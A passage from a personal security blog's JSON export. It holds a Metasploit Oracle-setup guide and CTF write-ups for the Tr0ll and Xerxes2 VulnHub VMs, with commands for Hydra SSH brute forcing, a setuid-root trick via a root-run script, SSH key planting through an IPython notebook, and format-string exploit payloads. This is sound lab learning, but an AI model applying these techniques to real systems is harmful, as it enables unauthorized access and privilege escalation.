5th.\u003c/p\u003e\n\u003cp\u003eThis is my experience while trying to complete the challenge. Persistence, once again, challenged me to learn about things that would normally have me just go \u0026ldquo;meh, next\u0026rdquo;. As expected, this post is also a very big spoiler if you have not completed it yourself yet, so be warned!\u003c/p\u003e","title":"From Persistence"},{"content":"EDIT This guide has been updated to accomodate a few changes (see here)\nRecently I have had to get Oracle support sorted in my Kali Linux install. I will try not to rant about the reasons why it doesn\u0026rsquo;t just work out of the box and just get the steps written down quickly. Typically, when you try to use a module such as oracle_login, metasploit may error out with:\nmsf auxiliary(oracle_login) \u0026gt; run [-] Failed to load the OCI library: cannot load such file -- oci8 [-] See http://www.metasploit.com/redmine/projects/framework/wiki/OracleUsage for installation instructions [*] Auxiliary module execution completed msf auxiliary(oracle_login) \u0026gt; run The link provided seems a little out of date, so here is an updated guide.\ngetting started First, if you dont have an account at oracle.com, you will unfortunately need one here. If you don\u0026rsquo;t want to create one, don’t worry, a temp email works as well as you luckily don’t have to confirm ownership of it before you can download.\nsorting oracle first Anyways. Create yourself a directory /opt/oracle and cd there. In a browser, navigate to the instant client downloads url and choose your architecture. If you hate 32bit Kali, choose Linux x86, and 64bit Kali choose Linux x86-64.\nNext, download the following packages and save them to /opt/oracle:\n instantclient-basic-linux-12.1.0.1.0.zip instantclient-sqlplus-linux-12.1.0.1.0.zip instantclient-sdk-linux-12.1.0.1.0.zip  With those downloaded, extract the archives with the unzip command. This should leave you with a directory /opt/oracle/instantclient_12_1/. This is all the files needed to at least get the sqlplus client going. However, when we build the ruby stuff needed for Metasploit, we will need to hax a .so. Do this with:\nroot@kali:/opt/oracle/instantclient_12_1# ln libclntsh.so.12.1 libclntsh.so root@kali:/opt/oracle/instantclient_12_1# ls -lh libclntsh.so lrwxrwxrwx 1 root root 17 Aug 17 15:37 libclntsh.so -\u0026gt; libclntsh.so.12.1 The last step is to configure the environment so that your shell is\u0026hellip; oracle aware. We do this by setting a few environment variables. I have chosen to just append the lines to the end of my .bashrc file\nroot@kali:/opt/oracle/instantclient_12_1# tail ~/.bashrc # ORACLE export PATH=$PATH:/opt/oracle/instantclient_12_1 export SQLPATH=/opt/oracle/instantclient_12_1 export TNS_ADMIN=/opt/oracle/instantclient_12_1 export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_1 export ORACLE_HOME=/opt/oracle/instantclient_12_1 Done! Log out and back and check that these are present in the output of env.\nsorting out metasploit The last thing we need to do is setup the metasploit part. For this we need to download ruby-oci8. In /opt/oracle, download it:\nroot@kali:/opt/oracle# wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.1.7.zip [...] 2014-08-17 16:11:31 (42.8 KB/s) - `ruby-oci8-2.1.7.zip\u0026#39; saved [278270] root@kali:/opt/oracle# unzip ruby-oci8-2.1.7.zip Archive: ruby-oci8-2.1.7.zip fb913e32d8a09bd46e5bf549bd8e554f0870d384 creating: ruby-oci8-ruby-oci8-2.1.7/ inflating: ruby-oci8-ruby-oci8-2.1.7/.gitignore inflating: ruby-oci8-ruby-oci8-2.1.7/.yardopts [...] inflating: ruby-oci8-ruby-oci8-2.1.7/test/test_rowid.rb root@kali:/opt/oracle# Next, move to the extracted directory and install the ruby-dev and libgmp-dev packages if you have not already done so:\nroot@kali:/opt/oracle# cd ruby-oci8-ruby-oci8-2.1.7/ root@kali:/opt/oracle/ruby-oci8-ruby-oci8-2.1.7# apt-get install ruby-dev libgmp-dev Next, ensure that the ruby interpreter that you will be use is the same as that of Metasploit with\nexport PATH=/opt/metasploit/ruby/bin:$PATH Ensure that you are using the correct version of ruby\n# ruby -v ruby 2.1.6p336 (2015-04-13 revision 50298) [x86_64-linux-gnu] Lastly, we will make \u0026amp;\u0026amp; make install. Logout and back in and test that the oracle tools in metasploit are functional :)\n","permalink":"https://leonjza.github.io/blog/2014/08/17/kali-linux-oracle-support/","summary":"\u003cp\u003e\u003cstrong\u003eEDIT\u003c/strong\u003e This guide has been updated to accomodate a few changes (see \u003ca href=\"https://github.com/rapid7/metasploit-framework/issues/5422\"\u003ehere\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003eRecently I have had to get Oracle support sorted in my Kali Linux install. I will try not to rant about the reasons why it doesn\u0026rsquo;t just work out of the box and just get the steps written down quickly. Typically, when you try to use a module such as \u003ccode\u003eoracle_login\u003c/code\u003e, metasploit may error out with:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003emsf auxiliary\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eoracle_login\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e \u0026gt; run\n\n\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e Failed to load the OCI library: cannot load such file -- oci8\n\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e-\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e See http://www.metasploit.com/redmine/projects/framework/wiki/OracleUsage \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e installation instructions\n\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e*\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e Auxiliary module execution completed\nmsf auxiliary\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eoracle_login\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e \u0026gt; run\n\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe link provided seems a little out of date, so here is an updated guide.\u003c/p\u003e","title":"Kali Linux Oracle Support"},{"content":"foreword Having recently started the road to OSCP, @Maleus21 released Tr0ll on @VulnHub. I figured since the description was Difficulty: Beginner ; Type: boot2root, I could give it a smash in a evening as a bit of distraction.\nnomad, promise As usual, I downloaded the VM, extracted the .rar and slapped it in Virtual Box. I got the IP 192.168.56.101. Promptly a NMAP was run against it:\nroot@kali:~# nmap -v --reason -sV 192.168.56.101 -p- PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 3.0.2 22/tcp open ssh syn-ack (protocol 2.0) 80/tcp open http syn-ack Apache httpd 2.4.7 ((Ubuntu)) So, ssh, ftp, and http. Naturally my first reaction was to inspect the web service.\n  The robots.txt file revealed:\nUser-agent:* Disallow: /secret Browsing to /secret revealed yet another interesting piece of art:\n  Right\u0026hellip; A little early to be \u0026lsquo;mad\u0026rsquo;, but nonetheless, lets move on.\nanonny-mouse ftp A quick and lazy google for vsftpd 3.0.2 exploit didn\u0026rsquo;t reveal anything interesting on page 1, so I lost interest pretty fast. I figured I can just try my luck and attempt to login to the FTP service with anonymous creds:\nroot@kali:~# ftp 192.168.56.101 Connected to 192.168.56.101. 220 (vsFTPd 3.0.2) Name (192.168.56.101:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp\u0026gt; ls 500 Illegal PORT command. ftp: bind: Address already in use ftp\u0026gt; passive Passive mode on. ftp\u0026gt; ls 227 Entering Passive Mode (192,168,56,101,231,190) 150 Here comes the directory listing. -rwxrwxrwx 1 1000 0 8068 Aug 10 00:43 lol.pcap 226 Directory send OK. ftp\u0026gt; get lol.pcap local: lol.pcap remote: lol.pcap 227 Entering Passive Mode (192,168,56,101,189,113) 150 Opening BINARY mode data connection for lol.pcap (8068 bytes). 226 Transfer complete. 8068 bytes received in 0.00 secs (21294.3 kB/s) ftp\u0026gt; bye 221 Goodbye. Well that worked, and showed that we have a file lol.pcap to look at. Interesting. I fired up wireshark and opened the pcap. Following the TCP streams it looked like in a previous session there was activity with a file called secret_stuff.txt that is no longer available. I filtered out that stream and continued down the rabbit hole, until I saw the message:\n  Ok. Well. I tried a few things after this, until eventually I figured it may be a web path. Sooo, off to the website we went and browsed to http://192.168.56.101/sup3rs3cr3tdirlol/. In this path there was a binary called roflmao. I downloaded the bin and did some static analysis (paranoid and all that) to see if I can figure out what it does before running it. Eventually I just made it executable and ran it:\nroot@kali:~# wget http://192.168.56.101/sup3rs3cr3tdirlol/roflmao --2014-08-15 07:57:56-- http://192.168.56.101/sup3rs3cr3tdirlol/roflmao Connecting to 192.168.56.101:80... connected. HTTP request sent, awaiting response... 200 OK Length: 7296 (7.1K) Saving to: `roflmao\u0026#39; 100%[======\u0026gt;] 7,296 --.-K/s in 0s 2014-08-15 07:57:56 (826 MB/s) - `roflmao\u0026#39; saved [7296/7296] root@kali:~/Desktop/Tr0ll# chmod +x roflmao root@kali:~/Desktop/Tr0ll# ./roflmao Find address 0x0856BF to proceed Nice. 0x0856BF is not exactly helpful. But what does it mean? From the previous analysis I have done it also looked like the bin is really just printing the string as can be seen above. After some poking around and exchanging ideas with @barrebas on IRC, I remembered that the previous vague hint was a directory on the web site. So, I tried http://192.168.56.101/0x0856BF/:\n  nohydraplz Cool! At this stage I was pretty sure there was not much left to gain shell. The folder good_luck had a file called which_one_lol.txt with contents:\nmaleus ps-aux felux Eagle11 genphlux \u0026lt; -- Definitely not this one usmc8892 blawrg wytshadow vis1t0r overflow List of passwords? Dunno. The folder this_folder_contains_the_password had a file Pass.txt with contents:\nGood_job_:) At this stage I figured this had to be either a nicely provided wordlist for some hydra action on the ftp || ssh service. So naturally, I copied the information to a file called list.txt (also made a copy of the genphlux word so that its on its own line), and fired up hydra on ssh:\nroot@kali:~# hydra -v -V -u -L list -P list -t 1 -u 192.168.56.101 ssh Hydra v7.6 (c)2013 by van Hauser/THC \u0026amp; David Maciejak - for legal purposes only [DATA] attacking service ssh on port 22 [VERBOSE] Resolving addresses ... done [ATTEMPT] target 192.168.56.101 - login \u0026#34;maleus\u0026#34; - pass \u0026#34;maleus\u0026#34; - 1 of 169 [child 0] [ATTEMPT] target 192.168.56.101 - login \u0026#34;ps-aux\u0026#34; - pass \u0026#34;maleus\u0026#34; - 2 of 169 [child 0] [ATTEMPT] target 192.168.56.101 - login \u0026#34;felux\u0026#34; - pass \u0026#34;maleus\u0026#34; - 3 of 169 [child 0] [ATTEMPT] target 192.168.56.101 - login \u0026#34;Eagle11\u0026#34; - pass \u0026#34;maleus\u0026#34; - 4 of 169 [child 0] [ATTEMPT] target 192.168.56.101 - login \u0026#34;genphlux \u0026lt; -- Definitely not this one\u0026#34; - pass \u0026#34;maleus\u0026#34; - 5 of 169 [child 0] [ATTEMPT] target 192.168.56.101 - login \u0026#34;genphlux\u0026#34; - pass \u0026#34;maleus\u0026#34; - 6 of 169 [child 0] [ATTEMPT] target 192.168.56.101 - login \u0026#34;usmc8892\u0026#34; - pass \u0026#34;maleus\u0026#34; - 7 of 169 [child 0] [ERROR] could not connect to target port 22 [ERROR] ssh protocol error [VERBOSE] Retrying connection for child 0 [RE-ATTEMPT] target 192.168.56.101 - login \u0026#34;usmc8892\u0026#34; - pass \u0026#34;maleus\u0026#34; - 7 of 169 [child 0] [ERROR] could not connect to target port 22 [ERROR] ssh protocol error [VERBOSE] Retrying connection for child 0 [RE-ATTEMPT] target 192.168.56.101 - login \u0026#34;usmc8892\u0026#34; - pass \u0026#34;maleus\u0026#34; - 7 of 169 [child 0] Err, the sudden errors only meant one thing\u0026hellip; fail2ban.\nroot@kali:~# nmap -v --reason -Pn 192.168.56.101 -p 22 PORT STATE SERVICE REASON 22/tcp filtered ssh no-response So, this was the first part that frustrated me and had me going \u0026ldquo;seriously\u0026hellip; :\u0026quot;. Maybe this was actually a list of ftp creds? Sadly, that did not seem to be the case either. And so I was stuck once again. Hydra was slowly trickling on once the ssh service was unbanned again, but it was annoying as heck.\nfirst shell I kept bouncing the VM to get the ssh service back faster, allowing hydra to do it\u0026rsquo;s thing. Eventually, it was apparent that none of these words as a username/password combination was the correct one.\nReturning to the web interface and the word lists, I realized (with some subtle hints and reminders from @barrebas to read everything), that the password may be in this folder (this_folder_contains_the_password). Get it, the Pass.txt is the password\u0026hellip;\nRight, so I changed hydra slightly to use Pass.txt as a password and continued to brute with the original list.txt as usernames:\nroot@kali:~# hydra -v -V -u -L list -p \u0026#34;Pass.txt\u0026#34; -t 1 -u 192.168.56.101 ssh Hydra v7.6 (c)2013 by van Hauser/THC \u0026amp; David Maciejak - for legal purposes only [DATA] 1 task, 1 server, 13 login tries (l:13/p:1), ~13 tries per task [DATA] attacking service ssh on port 22 [VERBOSE] Resolving addresses ... done [ATTEMPT] target 192.168.56.101 - login \u0026#34;maleus\u0026#34; - pass \u0026#34;Pass.txt\u0026#34; - 1 of 13 [child 0] [ATTEMPT] target 192.168.56.101 - login \u0026#34;ps-aux\u0026#34; - pass \u0026#34;Pass.txt\u0026#34; - 2 of 13 [child 0] [ATTEMPT] target 192.168.56.101 - login \u0026#34;felux\u0026#34; - pass \u0026#34;Pass.txt\u0026#34; - 3 of 13 [child 0] [...] [22][ssh] host: 192.168.56.101 login: overflow password: Pass.txt Yay overflow:Pass.txt should get us a session via ssh:\nroot@kali:~/Desktop/Tr0ll# ssh overflow@192.168.56.101 overflow@192.168.56.101\u0026#39;s password: Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686) [...] Could not chdir to home directory /home/overflow: No such file or directory $ id uid=1002(overflow) gid=1002(overflow) groups=1002(overflow) \u0026hellip; and root And so it was time for classic enumeration again. The first strange thing was the fact that it appeared as if all the /home directories apart from /home/troll was deleted. Weird. Other than that, there were a whole bunch of users according to /etc/passwd, and I can\u0026rsquo;t run anything as root via sudo.\nThere was a file in /opt/ called lmao.py, however I did not have access to read it. Soooo, more enumeration.\nsuddenly\nBroadcast Message from root@trol (somewhere) at 16:05 ... TIMES UP LOL! Connection to 192.168.56.101 closed by remote host. Connection to 192.168.56.101 closed. root@kali:~# Urgh. Turns out, something is killing my ssh session every 5 minutes. Oh my word, was that annoying. I could handle everything the VM\u0026rsquo;s offered, but this was probably the worst part of it.\nEventually, I was searching for executable files on the filesystem. I was filtering out a large chunk and gradually paging though results to find that odd one out. To help filter out uninteresting stuff, it looked like the VM was built in August, so I just grep for that in the results, hoping that the thing I should be finding has a more recent timestamp:\noverflow@troll:/$ find / -executable -type f 2\u0026gt; /dev/null | egrep -v \u0026#34;^/bin|^/var|^/etc|^/usr\u0026#34; | xargs ls -lh | grep Aug -rwxrwxrwx 1 root root 145 Aug 14 13:11 /lib/log/cleaner.py -rwx--x--x 1 root root 117 Aug 10 02:11 /opt/lmao.py -rwxr-xr-x 1 root root 2.4K Aug 27 2013 /sbin/installkernel -rwxrwxrwx 1 troll root 7.9K Aug 10 00:43 /srv/ftp/lol.pcap A few interesting results came from that, however, the one that held the golden nugget was /lib/log/cleaner.py. During my enumeration I noticed that /tmp got cleaned out at a really strange time as I was still trying to less a file in there, however, it just disappeared.\nAnyways, as cleaner.py was owned by root and running os.system, I just modified it to prepare me a classic getroot binary:\n#!/usr/bin/env python import os import sys try: os.system(\u0026#39;chown root:root /var/tmp/getroot; chmod 4755 /var/tmp/getroot \u0026#39;) except: sys.exit() I waited for that annoying \u0026lsquo;Times UP\u0026rsquo; message, and inspected /var/tmp:\noverflow@troll:/$ ls -lah /var/tmp/ total 24K drwxrwxrwt 2 root root 4.0K Aug 14 13:11 . drwxr-xr-x 12 root root 4.0K Aug 10 03:56 .. -rwxrwxrwx 1 root root 34 Aug 13 01:16 cleaner.py.swp -rwsr-xr-x 1 root root 7.2K Aug 14 13:09 getroot -rw-rw-r-- 1 overflow overflow 71 Aug 14 13:09 sh.c overflow@troll:/$ /var/tmp/getroot # # id uid=0(root) gid=1002(overflow) groups=0(root),1002(overflow) # ls /root proof.txt # cat /root/proof.txt Good job, you did it! 702a8c18d29c6f3ca0d99ef5712bfbdc # for the curious That really annoying session that keeps dying? Turns out its /opt/lmao.py to blame:\n# cat /opt/lmao.py #!/usr/bin/env python import os os.system(\u0026#39;echo \u0026#34;TIMES UP LOL!\u0026#34;|wall\u0026#39;) os.system(\u0026#34;pkill -u \u0026#39;overflow\u0026#39;\u0026#34;) sys.exit() # Thanks @maleus21 for the VM!\n","permalink":"https://leonjza.github.io/blog/2014/08/15/taming-the-troll/","summary":"\u003ch2 id=\"foreword\"\u003eforeword\u003c/h2\u003e\n\u003cp\u003eHaving recently started the road to \u003ca href=\"http://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/\"\u003eOSCP\u003c/a\u003e, \u003ca href=\"https://twitter.com/Maleus21\"\u003e@Maleus21\u003c/a\u003e released \u003ca href=\"http://vulnhub.com/entry/tr0ll-1,100/\"\u003eTr0ll\u003c/a\u003e on \u003ca href=\"https://twitter.com/VulnHub\"\u003e@VulnHub\u003c/a\u003e. I figured since the description was \u003cem\u003eDifficulty: Beginner ; Type: boot2root\u003c/em\u003e, I could give it a smash in a evening as a bit of distraction.\u003c/p\u003e","title":"taming the troll"},{"content":"foreword Xerxes2 is a successor in a boot2root series by @barrebas hosted by @VulnHub. If you haven\u0026rsquo;t done it yet, close this article now and go learn by doing it!\nXerxes2, like most other boot2root type CTF\u0026rsquo;s, has once again forced me to learn a whole lot more than I thought possible. In total it took me about 3 or 4 days on and off to complete. The goal was as usual, read /root/flag.txt. This is the path I took to read the flag and gain root command execution. Enjoy!\ngetting started The tool of choice for Xerxes2 was again Kali Linux. I started up the VM and got the IP Address 192.158.56.102 assigned to it. So, to officially kick off the challenge, I started a NMAP scan:\nroot@kali:~# nmap -v --reason -sV 192.168.56.102 -p- Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-09 17:14 SAST [...] PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0) 80/tcp open http syn-ack lighttpd 1.4.31 111/tcp open rpcbind syn-ack 2-4 (RPC #100000) 4444/tcp open krb524? syn-ack 8888/tcp open http syn-ack Tornado httpd 2.3 57504/tcp open status syn-ack 1 (RPC #100024) [...] Nmap done: 1 IP address (1 host up) scanned in 192.62 seconds Raw packets sent: 131149 (5.770MB) | Rcvd: 88 (3.544KB) Well this gives us a boat load to test out already!\nI quickly telneted’ to tcp/4444, and got presented with a large string being echoed back. To the eye this looked like a very large base64 string, so I opened nc to the port and redirected the output to a file nc-string. Once the string echoed completely, I quit the nc, and pushed the resultant string through a base64 decode and ran a file against it:\nroot@kali:~# nc 192.168.56.102 4444 | tee nc-string [...] qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqkxBTUUzLjk5LjWqqqqq qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq//OCxDsAAANIAAAA AKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo= ^C root@kali:~# cat nc-string | base64 -d \u0026gt; nc-data root@kali:~# file nc-data nc-data: MPEG ADTS, layer III, v2, 64 kbps, 22.05 kHz, Monaural nc-data is a, audio file? Ok. I copied the file off Kali Linux, opened it in VLC player and pressed play.\n(Electronic Noises \u0026amp; Robot Voice) This is Xerxes. Why do you persist in your loneliness? (Electronic Noises)\nThe start and end of the voice message had a clear in \u0026amp; out sound, with some static noises in the background. Then, at the end a strange whistling noise could be heard.\nThis was the first educational bus ride the Xerxes2 took me on. Learning about the structures of mp3 files etc.\nSadly, this file kept me busy for quite some time, trying to find a hidden message. In the end, I gave up and moved on to the other ports open the VM. Maybe I had to come back to this later, but the little progress I had made had me hope I didn\u0026rsquo;t have to.\nfirst shell access Moving on to tcp/80, a standard website with not much interesting apart from a cool looking Xerxes2 logo was found:\n  However, moving on to tcp/8888, we see it identified as Tornado httpd 2.3. Some of you may recognize Tornado as a python httpd server. So, off to a browser we go!\ntcp/8888 hosted a IPython Notebook. We were able to easily create a new note, and abuse the shell command functionality of it for our own purposes. Shell command access could be achieved by prefixing typical shell commands with a !. I used this to enumerate a small bit of the current environment, and quickly decided to add myself a ssh key so that I can play further. So, I generated a new key pair just for Xerxes, and uploaded it for the delacroix user:\n  And then a easy SSH in:\nroot@kali:~# ssh -i delacroix delacroix@192.168.56.102 The authenticity of host \u0026#39;192.168.56.102 (192.168.56.102)\u0026#39; can\u0026#39;t be established. ECDSA key fingerprint is c1:ca:ae:c3:5d:7a:5b:9d:cf:27:a4:48:83:1e:01:84. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added \u0026#39;192.168.56.102\u0026#39; (ECDSA) to the list of known hosts. Welcome to xerxes2. XERXES wishes you a pleasant stay. ____ ___ ____ ___ __ ____ ___ ____ ____ ____ `MM( )P\u0026#39; 6MMMMb `MM 6MM `MM( )P\u0026#39; 6MMMMb 6MMMMb\\ 6MMMMb `MM` ,P 6M\u0026#39; `Mb MM69 \u0026#34; `MM` ,P 6M\u0026#39; `Mb MM\u0026#39; ` MM\u0026#39; `Mb `MM,P MM MM MM\u0026#39; `MM,P MM MM YM. ,MM `MM. MMMMMMMM MM `MM. MMMMMMMM YMMMMb ,MM\u0026#39; d`MM. MM MM d`MM. MM `Mb ,M\u0026#39; d\u0026#39; `MM. YM d9 MM d\u0026#39; `MM. YM d9 L ,MM ,M\u0026#39; _d_ _)MM_ YMMMM9 _MM_ _d_ _)MM_ YMMMM9 MYMMMM9 MMMMMMMM delacroix@xerxes2:~$becoming polito - the why Once I had the first SSH access, life was a little less complicated. I could enumerate easier and learn the details about what I was facing. Things that stood out was a binary /opt/bf, owned by polito and had the SUID bit set for him. There was also a folder /opt/backup, with a file korenchkin.tar.enc. There was also mail in /var/mail for the user korenchkin which I am not able to read yet.\nMore interestingly, the .bash_history for the user I am now (delacroix), revealed that the /opt/bf command was recently run, and the sources for this binary was available as bf.c.\ndelacroix@xerxes2:~$ ls -lh total 8.0K -rw-r--r-- 1 delacroix delacroix 1.6K Jul 16 12:42 bf.c -rw-r--r-- 1 delacroix delacroix 100 Aug 9 10:23 Untitled0.ipynb delacroix@xerxes2:~$ history 1 cd 2 ls -alh 3 /opt/bf \u0026#34;\u0026lt;\u0026lt;++++[\u0026gt;++++\u0026lt;-]\u0026gt;[\u0026gt;+++++\u0026gt;+++++\u0026gt;+++++\u0026gt;+++++\u0026gt;++\u0026gt;++++\u0026gt;++++\u0026gt;++++\u0026gt;+++++\u0026gt;++++\u0026gt;+++++\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;----\u0026gt;-\u0026gt;-\u0026gt;-----\u0026gt;\u0026gt;++++\u0026gt;+++++\u0026gt;+++++\u0026gt;\u0026gt;+++++\u0026gt;++#\u0026#34; 4 cp /media/politousb/bf.c . 5 nano bf.c 6 exit 7 passwd 8 exit delacroix@xerxes2:~$ /opt/bf \u0026#34;\u0026lt;\u0026lt;++++[\u0026gt;++++\u0026lt;-]\u0026gt;[\u0026gt;+++++\u0026gt;+++++\u0026gt;+++++\u0026gt;+++++\u0026gt;++\u0026gt;++++\u0026gt;++++\u0026gt;++++\u0026gt;+++++\u0026gt;++++\u0026gt;+++++\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;-]\u0026gt;----\u0026gt;-\u0026gt;-\u0026gt;-----\u0026gt;\u0026gt;++++\u0026gt;+++++\u0026gt;+++++\u0026gt;\u0026gt;+++++\u0026gt;++#\u0026#34; LOOK DEEPERdelacroix@xerxes2:~$ As you can see above, running it just prints LOOK DEEPER. I recognized the syntax as brainfk and figured that /opt/bf was simply a brainfk interpreter. But wait, lets inspect bf.c!\ninspecting bf.c A quick read of bf.c confirmed the suspicions that /opt/bf was simply a brainfk interpreter. A buffer was set for the input program, then a function called bf() was called to process the brainfk program. Each instruction in the brainfk was handled with a case statement:\ncase \u0026#39;.\u0026#39;: printf(\u0026#34;%c\u0026#34;, buf[datapointer]); break; case \u0026#39;,\u0026#39;: buf[datapointer] = getchar(); break; case \u0026#39;\u0026gt;\u0026#39;: datapointer = (datapointer == (BUF_SIZE-1)) ? 0 : ++datapointer; break; case \u0026#39;\u0026lt;\u0026#39;: datapointer = (datapointer == 0) ? (BUF_SIZE-1) : --datapointer; break; case \u0026#39;+\u0026#39;: buf[datapointer]++; break; case \u0026#39;-\u0026#39;: buf[datapointer]--; Soooo, here we started on the second educational bus ride to mount brainfk. In summary, I learnt that I could write a program as simple as ,., and run it with /opt/bf, which will accept a character and then echo it back to me immediately. I also learnt that if you had say, 62 +, and ran that with a brainfk interpreter like /opt/bf, then you would have the character with ASCII value 62 in memory. You can then print that value with ., or move on the next memory cell with a \u0026lt;. The most important thing to learn about brainfk was, there are no high level features. No file IO, no socket IO, nothing.\nThat was our brainfk class for the day.\nfinding the bf vuln With all that brainfk, I was still not closer to actually finding the stepping stone to the next part of Xerxes2. That was until I re-read bf.c, and realized that one of the case statements was for #, and that when a hash is present it will run:\ncase \u0026#39;#\u0026#39;: // new feature  printf(buf); break; Classic format string vulnerability!\nAs exciting as this may seem, it was not really for me. I had already previously struggled with a format string vulnerability, and this case it was present so early in the CTF that I feared I would not be able to complete this one. However, the goal was now clear. I need to somehow exploit this format string vuln, as brainfk, and get that to run my own code, potentially gaining me a shell as polito.\nbecoming polito - the how Doing research about format string vulnerabilities, you will see that generally the flow goes something along the lines of:\n print AAAA%x%x%x%x, adding %s until you see the hex for of A (41), meaning that you are trying to find the position in the stack that printf is placing the arguments. Test for direct parameter access. Assuming you saw the 41414141 in position 16, test with a payload of AAAA%16$x. objdump -R /your/bin and find a call in the GOT to override. Place some shellcode as environment variable, ie: EGG, prefixed with say 200 0x90. use gdb, and find your NOP sled, and choose a position in memory to where you want to override the pointer for a call from the GOT. Calculate the required padding of strings to get the correct memory address, and write it using the %n format string. Profit?  While this is all fine and dandy, it was not possible for me to profit with this. :( In fact, the there is nothing wrong with the theory, its just that the conditions were slightly different. /opt/bf was compiled with the NX bit, and ASLR is enabled. Oh, and I actually have no idea what I am doing :D\nSo, let me take this step by step on how /opt/bf can be exploited using a format string vulnerability, encoded in brainfk, with the NX bit set and ASLR enabled.\n/opt/bf - part1 To start, I had to recap in the sadly limited knowledge I already have of format string vulnerabilities. Some resources I found useful were:\n http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html http://codearcana.com/posts/2013/04/28/picoctf-videos.html http://youtu.be/NwzmYSlETI8 http://youtu.be/CHrs30g-3O0  So, lets work with this.\nFirst of all, the program will only printf(buf) the buffer which is brainfk. This is triggered with a #. For us to be able to do anything even remotely related to brainfk, we need to ensure that our payloads are encoded into brainfk before it gets fed to /opt/bf. Remembering the research that was done, I opted to print as many +\u0026rsquo;s as the ASCII value of the character I wanted, and them simply increment the data cell with \u0026gt;, preparing for the next character.\nTo test my theory, I prepared my first payload using python -c:\ndelacroix@xerxes2:~$ echo $(python -c \u0026#39;print \u0026#34;+\u0026#34; * ord(\u0026#34;a\u0026#34;)\u0026#39;) +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ delacroix@xerxes2:~$ /opt/bf \u0026#34;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#\u0026#34; a That printed the character a as expected. Great! However, we need to be able to print far more character, and multiples too, so lets see if we increment the pointer by 1 will it printf(buf) that too?\ndelacroix@xerxes2:~$ /opt/bf \u0026#34;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\u0026gt;+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#\u0026#34; aa 2 a\u0026rsquo;s! Awesome. So the theory works. However, the last thing I was going to do was copy paste all that crap, so instead, lets write some python and use list comprehension to prepare our payloads for /opt/bf:\nprint \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;the quick brown fox\u0026#34;)]) You can copy and paste the above command into a python shell and see the amount of + there are haha.\nAnyways, that settled the brainfk problem.\n/opt/bf - part2 Now that we can easily provide input to /opt/bf to print using the vulnerable printf() function, it was time to test the actual format string vulnerability. Just like the above mentioned resources (and many many others on the internet) have shown, we provide some AAAA and search for them:\ndelacroix@xerxes2:~$ /opt/bf \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;AAAA\u0026#34; + \u0026#34;.%x\u0026#34; * 20 + \u0026#34;\\n\u0026#34;)])\u0026#39;)#\u0026#34; AAAA.b777bff4.0.0.bf842d58.b779b9c0.40.112a.bf83b820.b777bff4.bf842d58.80486eb.bf843860.bf83b820.7530.0.41414141.2e78252e.252e7825.78252e78.2e78252e Here we are using the previously built brainfk payload generator, and giving it format strings, searching for the AAAA input we have given it. Instead of typing like 20 %s, I just use python to do the hard work for me. As you can see, the string 41414141 is present in the output. We can test if we are able to use direct parameter access to access just the string we want:\ndelacroix@xerxes2:~$ /opt/bf \u0026#34;$(python -c \u0026#39;print \u0026#34;\u0026gt;\u0026#34;.join([\u0026#34;+\u0026#34; * ord(x) for x in (\u0026#34;AAAA\u0026#34; + \u0026#34;.%16$x\u0026#34; 